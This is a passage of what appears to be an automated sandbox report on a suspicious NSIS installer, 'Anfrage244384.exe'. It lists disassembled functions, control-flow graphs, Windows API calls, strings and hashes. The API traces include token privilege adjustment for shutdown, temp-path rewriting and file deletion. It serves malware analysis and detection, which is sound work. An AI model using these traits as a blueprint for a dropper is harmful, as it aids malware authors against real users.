405de5 DeleteFileA 108->112 115 4035ba-4035c1 112->115 116 40357b-40358b CopyFileA 112->116 115->112 117 4035c3-4035ca call 405c7e 115->117 116->115 118 40358d-4035a6 call 405c7e call 405de5 call 405554 116->118 117->52 126 4035ab-4035ad 118->126 126->115 127 4035af-4035b6 CloseHandle 126->127 127->115
                                                          APIs
                                                          • SetErrorMode.KERNELBASE ref: 004031C8
                                                          • GetVersion.KERNEL32 ref: 004031CE
                                                          • lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 004031F7
                                                          • #17.COMCTL32(00000007,00000009), ref: 00403219
                                                          • OleInitialize.OLE32(00000000), ref: 00403220
                                                          • SHGetFileInfoA.SHELL32(00429828,00000000,?,00000160,00000000), ref: 0040323C
                                                          • GetCommandLineA.KERNEL32(Berny Setup,NSIS Error), ref: 00403251
                                                          • GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\Desktop\Anfrage244384.exe",00000000), ref: 00403264
                                                          • CharNextA.USER32(00000000,"C:\Users\user\Desktop\Anfrage244384.exe",00000020), ref: 0040328F
                                                          • GetTempPathA.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 0040338C
                                                          • GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 0040339D
                                                          • lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004033A9
                                                          • GetTempPathA.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004033BD
                                                          • lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004033C5
                                                          • SetEnvironmentVariableA.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 004033D6
                                                          • SetEnvironmentVariableA.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 004033DE
                                                          • DeleteFileA.KERNELBASE(1033), ref: 004033F2
                                                            • Part of subcall function 0040615C: GetModuleHandleA.KERNEL32(?,?,?,0040320D,00000009), ref: 0040616E
                                                            • Part of subcall function 0040615C: GetProcAddress.KERNEL32(00000000,?), ref: 00406189
                                                          • OleUninitialize.OLE32(?), ref: 004034A0
                                                          • ExitProcess.KERNEL32 ref: 004034C1
                                                          • GetCurrentProcess.KERNEL32(00000028,?), ref: 004035DE
                                                          • OpenProcessToken.ADVAPI32(00000000), ref: 004035E5
                                                          • LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 004035FD
                                                          • AdjustTokenPrivileges.ADVAPI32(?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 0040361C
                                                          • ExitWindowsEx.USER32(00000002,80040002), ref: 00403640
                                                          • ExitProcess.KERNEL32 ref: 00403663
                                                            • Part of subcall function 004055B9: MessageBoxIndirectA.USER32(0040A218), ref: 00405614
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: Process$Exit$EnvironmentFileHandleModulePathTempTokenVariableWindowslstrcat$AddressAdjustCharCommandCurrentDeleteDirectoryErrorIndirectInfoInitializeLineLookupMessageModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrlen
                                                          • String ID: "$"C:\Users\user\Desktop\Anfrage244384.exe"$.tmp$1033$Berny Setup$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\secretaryships$C:\Users\user\AppData\Roaming\secretaryships\Khami$C:\Users\user\Desktop$C:\Users\user\Desktop\Anfrage244384.exe$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$`Kt$~nsu
                                                          • API String ID: 3329125770-626328026
                                                          • Opcode ID: c1f9194aaabd033ec7754895e46d654ced239fcc03380315cc0212c25b4d743a
                                                          • Instruction ID: 865bae31cffe44a71533f85cac42dc3cbe617e6c2420eff4fa764eab91bf8bd9
                                                          • Opcode Fuzzy Hash: c1f9194aaabd033ec7754895e46d654ced239fcc03380315cc0212c25b4d743a
                                                          • Instruction Fuzzy Hash: 78C10530104741AAD721BF759D59A2F3EA9EF4530AF44443FF581B61E2CB7C8A058B6E
                                                          Function 00404959 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 128 404959-4049a5 GetDlgItem * 2 129 404bc5-404bcc 128->129 130 4049ab-404a3f GlobalAlloc LoadBitmapA SetWindowLongA ImageList_Create ImageList_AddMasked SendMessageA * 2 128->130 131 404be0 129->131 132 404bce-404bde 129->132 133 404a41-404a4c SendMessageA 130->133 134 404a4e-404a55 DeleteObject 130->134 135 404be3-404bec 131->135 132->135 133->134 136 404a57-404a5f 134->136 137 404bf7-404bfd 135->137 138 404bee-404bf1 135->138 139 404a61-404a64 136->139 140 404a88-404a8c 136->140 144 404c0c-404c13 137->144 145 404bff-404c06 137->145 138->137 141 404cdb-404ce2 138->141 142 404a66 139->142 143 404a69-404a86 call 405de5 SendMessageA * 2 139->143 140->136 146 404a8e-404aba call 403fa8 * 2 140->146 151 404d53-404d5b 141->151 152 404ce4-404cea 141->152 142->143 143->140 148 404c15-404c18 144->148 149 404c88-404c8b 144->149 145->141 145->144 184 404ac0-404ac6 146->184 185 404b84-404b97 GetWindowLongA SetWindowLongA 146->185 157 404c23-404c38 call 4048a7 148->157 158 404c1a-404c21 148->158 149->141 153 404c8d-404c97 149->153 155 404d65-404d6c 151->155 156 404d5d-404d63 SendMessageA 151->156 160 404cf0-404cfa 152->160 161 404f3b-404f4d call 40400f 152->161 163 404ca7-404cb1 153->163 164 404c99-404ca5 SendMessageA 153->164 165 404da0-404da7 155->165 166 404d6e-404d75 155->166 156->155 157->149 183 404c3a-404c4b 157->183 158->149 158->157 160->161 169 404d00-404d0f SendMessageA 160->169 163->141 171 404cb3-404cbd 163->171 164->163 176 404efd-404f04 165->176 177 404dad-404db9 call 4011ef 165->177 172 404d77-404d78 ImageList_Destroy 166->172 173 404d7e-404d85 166->173 169->161 178 404d15-404d26 SendMessageA 169->178 179 404cce-404cd8 171->179 180 404cbf-404ccc 171->180 172->173 181 404d87-404d88 GlobalFree 173->181 182 404d8e-404d9a 173->182 176->161 189 404f06-404f0d 176->189 203 404dc9-404dcc 177->203 204 404dbb-404dbe 177->204 187 404d30-404d32 178->187 188 404d28-404d2e 178->188 179->141 180->141 181->182 182->165 183->149 192 404c4d-404c4f 183->192 193 404ac9-404acf 184->193 191 404b9d-404ba1 185->191 195 404d33-404d4c call 401299 SendMessageA 187->195 188->187 188->195 189->161 190 404f0f-404f39 ShowWindow GetDlgItem ShowWindow 189->190 190->161 197 404ba3-404bb6 ShowWindow call 403fdd 191->197 198 404bbb-404bc3 call 403fdd 191->198 199 404c51-404c58 192->199 200 404c62 192->200 201 404b65-404b78 193->201 202 404ad5-404afd 193->202 195->151 197->161 198->129 211 404c5a-404c5c 199->211 212 404c5e-404c60 199->212 215 404c65-404c81 call 40117d 200->215 201->193 206 404b7e-404b82 201->206 213 404b37-404b39 202->213 214 404aff-404b35 SendMessageA 202->214 207 404e0d-404e31 call 4011ef 203->207 208 404dce-404de7 call 4012e2 call 401299 203->208 216 404dc0 204->216 217 404dc1-404dc4 call 404927 204->217 206->185 206->191 230 404ed3-404ee7 InvalidateRect 207->230 231 404e37 207->231 238 404df7-404e06 SendMessageA 208->238 239 404de9-404def 208->239 211->215 212->215 218 404b3b-404b4a SendMessageA 213->218 219 404b4c-404b62 SendMessageA 213->219 214->201 215->149 216->217 217->203 218->201 219->201 230->176 234 404ee9-404ef8 call 40487a call 404862 230->234 232 404e3a-404e45 231->232 235 404e47-404e56 232->235 236 404ebb-404ecd 232->236 234->176 240 404e58-404e65 235->240 241 404e69-404e6c 235->241 236->230 236->232 238->207 242 404df1 239->242 243 404df2-404df5 239->243 240->241 245 404e73-404e7c 241->245 246 404e6e-404e71 241->246 242->243 243->238 243->239 248 404e81-404eb9 SendMessageA * 2 245->248 249 404e7e 245->249 246->248 248->236 249->248
                                                          APIs
                                                          • GetDlgItem.USER32(?,000003F9), ref: 00404971
                                                          • GetDlgItem.USER32(?,00000408), ref: 0040497C
                                                          • GlobalAlloc.KERNEL32(00000040,?), ref: 004049C6
                                                          • LoadBitmapA.USER32(0000006E), ref: 004049D9
                                                          • SetWindowLongA.USER32(?,000000FC,00404F50), ref: 004049F2
                                                          • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A06
                                                          • ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404A18
                                                          • SendMessageA.USER32(?,00001109,00000002), ref: 00404A2E
                                                          • SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 00404A3A
                                                          • SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 00404A4C
                                                          • DeleteObject.GDI32(00000000), ref: 00404A4F
                                                          • SendMessageA.USER32(?,00000143,00000000,00000000), ref: 00404A7A
                                                          • SendMessageA.USER32(?,00000151,00000000,00000000), ref: 00404A86
                                                          • SendMessageA.USER32(?,00001100,00000000,?), ref: 00404B1B
                                                          • SendMessageA.USER32(?,0000110A,00000003,00000000), ref: 00404B46
                                                          • SendMessageA.USER32(?,00001100,00000000,?), ref: 00404B5A
                                                          • GetWindowLongA.USER32(?,000000F0), ref: 00404B89
                                                          • SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404B97
                                                          • ShowWindow.USER32(?,00000005), ref: 00404BA8
                                                          • SendMessageA.USER32(?,00000419,00000000,?), ref: 00404CA5
                                                          • SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404D0A
                                                          • SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404D1F
                                                          • SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404D43
                                                          • SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404D63
                                                          • ImageList_Destroy.COMCTL32(?), ref: 00404D78
                                                          • GlobalFree.KERNEL32(?), ref: 00404D88
                                                          • SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00404E01
                                                          • SendMessageA.USER32(?,00001102,?,?), ref: 00404EAA
                                                          • SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00404EB9
                                                          • InvalidateRect.USER32(?,00000000,00000001), ref: 00404ED9
                                                          • ShowWindow.USER32(?,00000000), ref: 00404F27
                                                          • GetDlgItem.USER32(?,000003FE), ref: 00404F32
                                                          • ShowWindow.USER32(00000000), ref: 00404F39
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
                                                          • String ID: $M$N
                                                          • API String ID: 1638840714-813528018
                                                          • Opcode ID: 4315433588f7ee8e45bd5ba278d1dd566df0f8305feb02016673aa1b72d95d64
                                                          • Instruction ID: 74b4d15ca57fbdec2c0db9e6478e75b59205225842bd8ef9acc4dc7b15762c80
                                                          • Opcode Fuzzy Hash: 4315433588f7ee8e45bd5ba278d1dd566df0f8305feb02016673aa1b72d95d64
                                                          • Instruction Fuzzy Hash: A30292B0A00209AFEF209F65DD45AAE7BB5FB84315F10853AF610B62E1C7789D52CF58
                                                          Function 10001A5D Relevance: 20.0, APIs: 13, Instructions: 540stringmemoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 10001215: GlobalAlloc.KERNEL32(00000040,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D
                                                          • GlobalAlloc.KERNELBASE(00000040,000014A4), ref: 10001B67
                                                          • lstrcpyA.KERNEL32(00000008,?), ref: 10001BAF
                                                          • lstrcpyA.KERNEL32(00000408,?), ref: 10001BB9
                                                          • GlobalFree.KERNEL32(00000000), ref: 10001BCC
                                                          • GlobalFree.KERNEL32(?), ref: 10001CC4
                                                          • GlobalFree.KERNEL32(?), ref: 10001CC9
                                                          • GlobalFree.KERNEL32(?), ref: 10001CCE
                                                          • GlobalFree.KERNEL32(00000000), ref: 10001E76
                                                          • lstrcpyA.KERNEL32(?,?), ref: 10001FCA
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1928216941.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000000.00000002.1928204530.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          • Associated: 00000000.00000002.1928228736.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          • Associated: 00000000.00000002.1928240548.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_10000000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: Global$Free$lstrcpy$Alloc
                                                          • String ID:
                                                          • API String ID: 4227406936-0
                                                          • Opcode ID: 108015169a1f9511be137f3b76d088d284be53ebd3be1ec406ce9b744c5ee79e
                                                          • Instruction ID: 780798ea066e4ece118e8e5fed0bf18c828ec290136deaf2e43fc5d0554b8685
                                                          • Opcode Fuzzy Hash: 108015169a1f9511be137f3b76d088d284be53ebd3be1ec406ce9b744c5ee79e
                                                          • Instruction Fuzzy Hash: 17129971D0424ADFFB20CFA4C8847EEBBF4FB043C4F61852AD5A1A2199DB749A81CB51
                                                          Function 00405DE5 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 199stringCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 694 405de5-405df0 695 405df2-405e01 694->695 696 405e03-405e18 694->696 695->696 697 40600b-40600f 696->697 698 405e1e-405e29 696->698 699 406015-40601f 697->699 700 405e3b-405e45 697->700 698->697 701 405e2f-405e36 698->701 702 406021-406025 call 405dc3 699->702 703 40602a-40602b 699->703 700->699 704 405e4b-405e52 700->704 701->697 702->703 706 405e58-405e8d 704->706 707 405ffe 704->707 708 405e93-405e9e GetVersion 706->708 709 405fa8-405fab 706->709 710 406000-406006 707->710 711 406008-40600a 707->711 712 405ea0-405ea4 708->712 713 405eb8 708->713 714 405fdb-405fde 709->714 715 405fad-405fb0 709->715 710->697 711->697 712->713 716 405ea6-405eaa 712->716 719 405ebf-405ec6 713->719 720 405fe0-405fe7 call 405de5 714->720 721 405fec-405ffc lstrlenA 714->721 717 405fc0-405fcc call 405dc3 715->717 718 405fb2-405fbe call 405d21 715->718 716->713 722 405eac-405eb0 716->722 732 405fd1-405fd7 717->732 718->732 724 405ec8-405eca 719->724 725 405ecb-405ecd 719->725 720->721 721->697 722->713 728 405eb2-405eb6 722->728 724->725 730 405f06-405f09 725->730 731 405ecf-405eea call 405caa 725->731 728->719 733 405f19-405f1c 730->733 734 405f0b-405f17 GetSystemDirectoryA 730->734 740 405eef-405ef2 731->740 732->721 736 405fd9 732->736 738 405f86-405f88 733->738 739 405f1e-405f2c GetWindowsDirectoryA 733->739 737 405f8a-405f8d 734->737 741 405fa0-405fa6 call 40602e 736->741 737->741 745 405f8f-405f93 737->745 738->737 743 405f2e-405f38 738->743 739->738 744 405ef8-405f01 call 405de5 740->744 740->745 741->721 747 405f52-405f68 SHGetSpecialFolderLocation 743->747 748 405f3a-405f3d 743->748 744->737 745->741 750 405f95-405f9b lstrcatA 745->750 752 405f83 747->752 753 405f6a-405f81 SHGetPathFromIDListA CoTaskMemFree 747->753 748->747 751 405f3f-405f46 748->751 750->741 755 405f4e-405f50 751->755 752->738 753->737 753->752 755->737 755->747
                                                          APIs
                                                          • GetVersion.KERNEL32(?,0042A048,00000000,00405014,0042A048,00000000), ref: 00405E96
                                                          • GetSystemDirectoryA.KERNEL32(Call,00000400), ref: 00405F11
                                                          • GetWindowsDirectoryA.KERNEL32(Call,00000400), ref: 00405F24
                                                          • SHGetSpecialFolderLocation.SHELL32(?,0041C020), ref: 00405F60
                                                          • SHGetPathFromIDListA.SHELL32(0041C020,Call), ref: 00405F6E
                                                          • CoTaskMemFree.OLE32(0041C020), ref: 00405F79
                                                          • lstrcatA.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00405F9B
                                                          • lstrlenA.KERNEL32(Call,?,0042A048,00000000,00405014,0042A048,00000000), ref: 00405FED
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
                                                          • String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
                                                          • API String ID: 900638850-1230650788
                                                          • Opcode ID: fcec94f82e88fcce29c7e60c56cd8c103032a989a52b9d99fcd4bfd562cc5ef6
                                                          • Instruction ID: dce6f903095129fb599a93a9a66318a4e9c512c80ea25934a290623bed19ebbf
                                                          • Opcode Fuzzy Hash: fcec94f82e88fcce29c7e60c56cd8c103032a989a52b9d99fcd4bfd562cc5ef6
                                                          • Instruction Fuzzy Hash: 2F611271A04A02AEEB209B24DD84BBF7BA8DB15314F50813FE942B62D1D37D49429F5E
                                                          Function 00405665 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159filestringCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 756 405665-40568b call 405923 759 4056a4-4056ab 756->759 760 40568d-40569f DeleteFileA 756->760 762 4056ad-4056af 759->762 763 4056be-4056ce call 405dc3 759->763 761 40582e-405832 760->761 764 4056b5-4056b8 762->764 765 4057dc-4057e1 762->765 771 4056d0-4056db lstrcatA 763->771 772 4056dd-4056de call 40587c 763->772 764->763 764->765 765->761 767 4057e3-4057e6 765->767 769 4057f0-4057f8 call 4060c7 767->769 770 4057e8-4057ee 767->770 769->761 780 4057fa-40580e call 405835 call 40561d 769->780 770->761 774 4056e3-4056e6 771->774 772->774 776 4056f1-4056f7 lstrcatA 774->776 777 4056e8-4056ef 774->777 779 4056fc-40571a lstrlenA FindFirstFileA 776->779 777->776 777->779 781 405720-405737 call 405860 779->781 782 4057d2-4057d6 779->782 795 405810-405813 780->795 796 405826-405829 call 404fdc 780->796 789 405742-405745 781->789 790 405739-40573d 781->790 782->765 784 4057d8 782->784 784->765 793 405747-40574c 789->793 794 405758-405766 call 405dc3 789->794 790->789 792 40573f 790->792 792->789 799 4057b1-4057c3 FindNextFileA 793->799 800 40574e-405750 793->800 806 405768-405770 794->806 807 40577d-405788 call 40561d 794->807 795->770 797 405815-405824 call 404fdc call 405c7e 795->797 796->761 797->761 799->781 803 4057c9-4057cc FindClose 799->803 800->794 804 405752-405756 800->804 803->782 804->794 804->799 806->799 809 405772-40577b call 405665 806->809 816 4057a9-4057ac call 404fdc 807->816 817 40578a-40578d 807->817 809->799 816->799 818 4057a1-4057a7 817->818 819 40578f-40579f call 404fdc call 405c7e 817->819 818->799 819->799
                                                          APIs
                                                          • DeleteFileA.KERNELBASE(?,?,74DF3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 0040568E
                                                          • lstrcatA.KERNEL32(0042B870,\*.*,0042B870,?,?,74DF3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004056D6
                                                          • lstrcatA.KERNEL32(?,0040A014,?,0042B870,?,?,74DF3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004056F7
                                                          • lstrlenA.KERNEL32(?,?,0040A014,?,0042B870,?,?,74DF3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004056FD
                                                          • FindFirstFileA.KERNEL32(0042B870,?,?,?,0040A014,?,0042B870,?,?,74DF3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 0040570E
                                                          • FindNextFileA.KERNEL32(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 004057BB
                                                          • FindClose.KERNEL32(00000000), ref: 004057CC
                                                          Strings
                                                          • "C:\Users\user\Desktop\Anfrage244384.exe", xrefs: 00405665
                                                          • \*.*, xrefs: 004056D0
                                                          • C:\Users\user\AppData\Local\Temp\, xrefs: 00405672
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
                                                          • String ID: "C:\Users\user\Desktop\Anfrage244384.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
                                                          • API String ID: 2035342205-3319474913
                                                          • Opcode ID: 35f83909ae11c9f79d6b7d90eabebb09b3e9f21799a89a441620f803e9e91570
                                                          • Instruction ID: 999a98db12b4221591f7ee6b6052c292a74d4854a5648a1040a4d82dc32c8f45
                                                          • Opcode Fuzzy Hash: 35f83909ae11c9f79d6b7d90eabebb09b3e9f21799a89a441620f803e9e91570
                                                          • Instruction Fuzzy Hash: 2B51D531800A48EADB216B61CC85BBF7A78DF42354F64817BF845721D2C73C4952EE6D
                                                          Function 004060C7 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • FindFirstFileA.KERNELBASE(74DF3410,0042C0B8,0042BC70,00405966,0042BC70,0042BC70,00000000,0042BC70,0042BC70,74DF3410,?,C:\Users\user\AppData\Local\Temp\,00405685,?,74DF3410,C:\Users\user\AppData\Local\Temp\), ref: 004060D2
                                                          • FindClose.KERNELBASE(00000000), ref: 004060DE
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: Find$CloseFileFirst
                                                          • String ID:
                                                          • API String ID: 2295610775-0
                                                          • Opcode ID: 7d865761c494c6b641247bef0bb2c924160845ff3ef93fdcf2db6d5e6c47237c
                                                          • Instruction ID: 7bd6a1ee080489a50caeda4c967685e5e64830a7ebee4117dda32410da358e49
                                                          • Opcode Fuzzy Hash: 7d865761c494c6b641247bef0bb2c924160845ff3ef93fdcf2db6d5e6c47237c
                                                          • Instruction Fuzzy Hash: 5FD012316854309BC21097786D0C84B7A589F19331711CB37F4A6F11F0CB34CC66869D
                                                          Function 0040270B Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • FindFirstFileA.KERNELBASE(00000000,?,00000002), ref: 0040271A
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: FileFindFirst
                                                          • String ID:
                                                          • API String ID: 1974802433-0
                                                          • Opcode ID: 9221aa77ab26fe255a706fdbb407d63210ae3e038afe0839ecce60615a5a5cc7
                                                          • Instruction ID: c78e1de3aafbb837fdaa481cd05ce35d28cdafaef4a854467420e3d3da5db3c0
                                                          • Opcode Fuzzy Hash: 9221aa77ab26fe255a706fdbb407d63210ae3e038afe0839ecce60615a5a5cc7
                                                          • Instruction Fuzzy Hash: 18F0A7726041159BD710EBA49A49DEEB778DF15324F60417BF181B20C1D6B84A469B2A
                                                          Function 00403AD5 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345windowstringCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
